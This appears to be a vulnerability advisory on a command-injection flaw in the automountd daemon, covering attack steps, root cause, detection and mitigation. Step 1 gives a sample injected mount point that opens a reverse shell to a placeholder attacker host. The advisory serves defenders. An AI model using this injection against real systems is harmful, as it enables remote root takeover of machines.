Source: cve@mitre.org
Automount daemon automountd allows local or remote users to gain privileges via shell metacharacters.
Automountd, a critical component for network file sharing, is vulnerable to a privilege escalation attack. This allows attackers to execute arbitrary commands with elevated privileges, potentially leading to complete system compromise. Successful exploitation can result in data breaches, system outages, and remote code execution.
Step 1: Input Injection: The attacker crafts a malicious mount request, including shell metacharacters in the mount point definition. For example, the attacker might specify a mount point like /mnt/share; /bin/bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1.
Step 2: Request Processing: The automountd daemon receives the malicious mount request.
Step 3: Command Execution: The automountd daemon, without proper sanitization, passes the attacker-controlled mount point string to a shell command (e.g., using mount or similar utilities). The shell interprets the metacharacters.
Step 4: Privilege Escalation: The injected commands are executed with the privileges of the automountd daemon, which is often root. This allows the attacker to execute arbitrary commands, potentially gaining full control of the system.
The vulnerability stems from improper handling of user-supplied input by the automountd daemon, specifically when processing mount requests. The daemon fails to adequately sanitize shell metacharacters (e.g., ;, |, &) within the mount point specification. This allows an attacker to inject malicious commands into the mount request, which are then executed with the privileges of the automountd process, typically root. The root cause is a lack of input validation and output encoding, leading to command injection vulnerability. The flaw lies in the insecure use of system() or similar functions to execute shell commands based on user-controlled input. There is no buffer overflow or race condition involved, but the core issue is the unsafe execution of user-provided data.
This vulnerability is a classic example of a privilege escalation vector. While no specific APT groups are directly linked to this CVE, the nature of the vulnerability makes it attractive to any attacker seeking to gain root access. The attack vector is easily incorporated into broader attack campaigns. CISA KEV status: Not Listed
Monitor system logs (e.g., /var/log/syslog, /var/log/auth.log) for suspicious activity related to automountd, such as unusual mount requests or errors.
Analyze network traffic for unusual mount requests containing shell metacharacters.
Implement file integrity monitoring to detect changes to critical system files after a potential compromise.
Review the automountd configuration files for any unauthorized modifications.
Upgrade to a patched version of the automountd daemon or the operating system that addresses the vulnerability. This is the primary and most effective remediation step.
Implement input validation and output encoding to sanitize user-supplied input before passing it to shell commands. This prevents shell metacharacters from being interpreted.
Restrict the privileges of the automountd daemon to the minimum necessary. This limits the impact of a successful exploit.
Use a least-privilege approach for all user accounts.
Regularly audit system configurations and logs to identify and address potential security issues.
Employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block malicious mount requests.